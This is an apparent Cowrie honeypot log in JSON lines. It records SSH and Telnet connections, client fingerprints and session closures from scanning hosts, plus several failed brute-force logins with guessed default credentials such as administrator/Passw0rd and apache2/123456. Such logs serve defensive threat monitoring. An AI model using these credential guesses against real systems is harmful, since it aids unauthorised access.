{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:15.461635Z","src_ip":"159.203.92.129","session":"4bd7ae953b91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:15.466578Z","src_ip":"159.203.92.129","session":"4bd7ae953b91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache2","password":"123456","message":"login attempt [apache2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:15.484129Z","src_ip":"159.203.92.129","session":"4bd7ae953b91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:16.492474Z","src_ip":"159.203.92.129","session":"4bd7ae953b91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.542110681533813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:20.741074Z","src_ip":"198.50.122.223","session":"2a5af49e3edc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":41556,"dst_ip":"10.17.0.5","dst_port":22,"session":"4083eb0ad910","protocol":"ssh","message":"New connection: 2.57.122.238:41556 (10.17.0.5:22) [session: 4083eb0ad910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:25.197559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:25.203079Z","src_ip":"2.57.122.238","session":"4083eb0ad910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:25.304389Z","src_ip":"2.57.122.238","session":"4083eb0ad910","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:25.606359Z","src_ip":"2.57.122.238","session":"4083eb0ad910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:26.710418Z","src_ip":"2.57.122.238","session":"4083eb0ad910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35362,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ae00f7ada9d","protocol":"telnet","message":"New connection: 198.50.122.223:35362 (10.17.0.5:23) [session: 9ae00f7ada9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:29.219923Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":59838,"dst_ip":"159.203.135.109","dst_port":23,"session":"3767b0354cb3","protocol":"telnet","message":"New connection: 185.26.126.47:59838 (159.203.135.109:23) [session: 3767b0354cb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:31.793277Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39964,"dst_ip":"10.17.0.5","dst_port":23,"session":"e881b44df458","protocol":"telnet","message":"New connection: 198.50.122.223:39964 (10.17.0.5:23) [session: e881b44df458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:35.936507Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56224,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe4ccfa7e3dd","protocol":"telnet","message":"New connection: 198.50.122.223:56224 (10.17.0.5:23) [session: fe4ccfa7e3dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:39.413874Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57798,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b07c81fea03","protocol":"telnet","message":"New connection: 198.50.122.223:57798 (10.17.0.5:23) [session: 3b07c81fea03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:39.620620Z"}
{"eventid":"cowrie.session.closed","duration":31.14937138557434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:41.356544Z","src_ip":"198.50.122.223","session":"a26fb4104666","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49692,"dst_ip":"10.17.0.5","dst_port":23,"session":"44e5a4ff3955","protocol":"telnet","message":"New connection: 198.50.122.223:49692 (10.17.0.5:23) [session: 44e5a4ff3955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:44.120474Z"}
{"eventid":"cowrie.session.closed","duration":31.158775091171265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:44.306540Z","src_ip":"198.50.122.223","session":"1c6090f3dd5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60362,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad25d02346ae","protocol":"telnet","message":"New connection: 198.50.122.223:60362 (10.17.0.5:23) [session: ad25d02346ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:46.565644Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59000,"dst_ip":"10.17.0.5","dst_port":23,"session":"272ff62db3f7","protocol":"telnet","message":"New connection: 198.50.122.223:59000 (10.17.0.5:23) [session: 272ff62db3f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:47.323642Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":47740,"dst_ip":"159.203.135.109","dst_port":22,"session":"99ce80ceb8ef","protocol":"ssh","message":"New connection: 69.6.221.248:47740 (159.203.135.109:22) [session: 99ce80ceb8ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:47.708571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:47.715297Z","src_ip":"69.6.221.248","session":"99ce80ceb8ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:47.828746Z","src_ip":"69.6.221.248","session":"99ce80ceb8ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qweasdzxc","message":"login attempt [test/qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:48.315142Z","src_ip":"69.6.221.248","session":"99ce80ceb8ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:49.430424Z","src_ip":"69.6.221.248","session":"99ce80ceb8ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49966,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d7939d61036","protocol":"telnet","message":"New connection: 198.50.122.223:49966 (10.17.0.5:23) [session: 0d7939d61036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:50.475856Z"}
{"eventid":"cowrie.session.closed","duration":120.00130414962769,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:50.884684Z","src_ip":"154.110.11.213","session":"2ba8f0226686","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56976,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3d3cae13d80","protocol":"telnet","message":"New connection: 198.50.122.223:56976 (10.17.0.5:23) [session: f3d3cae13d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:52.012228Z"}
{"eventid":"cowrie.session.closed","duration":120.00188398361206,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:52.855535Z","src_ip":"154.110.11.213","session":"a16a029c9a4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00118970870972,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:53.629963Z","src_ip":"154.110.11.213","session":"3ea0abb72dad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00189256668091,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:54.060056Z","src_ip":"154.110.11.213","session":"4a82c0fb6f34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00191712379456,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:56.870410Z","src_ip":"154.110.11.213","session":"427340abc58b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":26057,"dst_ip":"10.17.0.5","dst_port":23,"session":"b74c0d0eedb8","protocol":"telnet","message":"New connection: 154.110.11.213:26057 (10.17.0.5:23) [session: b74c0d0eedb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:57.083836Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.110.11.213","src_port":31725,"dst_ip":"10.17.0.5","dst_port":23,"session":"659271051bd2","protocol":"telnet","message":"New connection: 154.110.11.213:31725 (10.17.0.5:23) [session: 659271051bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:57.133428Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57022,"dst_ip":"10.17.0.5","dst_port":23,"session":"72c2bdf996b7","protocol":"telnet","message":"New connection: 198.50.122.223:57022 (10.17.0.5:23) [session: 72c2bdf996b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:23:58.376873Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50152,"dst_ip":"159.203.135.109","dst_port":22,"session":"64297bd8707b","protocol":"ssh","message":"New connection: 159.203.92.129:50152 (159.203.135.109:22) [session: 64297bd8707b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:00.289696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:00.297075Z","src_ip":"159.203.92.129","session":"64297bd8707b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:00.302146Z","src_ip":"159.203.92.129","session":"64297bd8707b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache2","password":"apache2","message":"login attempt [apache2/apache2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:00.345769Z","src_ip":"159.203.92.129","session":"64297bd8707b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.60798215866089,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:00.827806Z","src_ip":"198.50.122.223","session":"9ae00f7ada9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:01.357639Z","src_ip":"159.203.92.129","session":"64297bd8707b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":32870,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a9524ae6685","protocol":"telnet","message":"New connection: 198.50.122.223:32870 (10.17.0.5:23) [session: 7a9524ae6685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:05.558829Z"}
{"eventid":"cowrie.session.closed","duration":30.473500967025757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:06.409887Z","src_ip":"198.50.122.223","session":"e881b44df458","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38074,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a3f7c7184d7","protocol":"telnet","message":"New connection: 198.50.122.223:38074 (10.17.0.5:23) [session: 2a3f7c7184d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:06.702209Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":37442,"dst_ip":"159.203.135.109","dst_port":22,"session":"b99f3458e092","protocol":"ssh","message":"New connection: 103.228.69.212:37442 (159.203.135.109:22) [session: b99f3458e092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:07.481337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:07.485379Z","src_ip":"103.228.69.212","session":"b99f3458e092","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:07.710862Z","src_ip":"103.228.69.212","session":"b99f3458e092","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43030,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4dabeebd808","protocol":"telnet","message":"New connection: 198.50.122.223:43030 (10.17.0.5:23) [session: b4dabeebd808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:07.778654Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42016,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2f0747893f0","protocol":"telnet","message":"New connection: 198.50.122.223:42016 (10.17.0.5:23) [session: d2f0747893f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:08.604731Z"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"Passw0rd","message":"login attempt [administrator/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:08.649671Z","src_ip":"103.228.69.212","session":"b99f3458e092","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53080,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0f7a70e051e","protocol":"telnet","message":"New connection: 198.50.122.223:53080 (10.17.0.5:23) [session: b0f7a70e051e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:09.848968Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:09.877870Z","src_ip":"103.228.69.212","session":"b99f3458e092","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.55998969078064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:10.180494Z","src_ip":"198.50.122.223","session":"3b07c81fea03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.822324991226196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:10.236072Z","src_ip":"198.50.122.223","session":"fe4ccfa7e3dd","protocol":"telnet"}
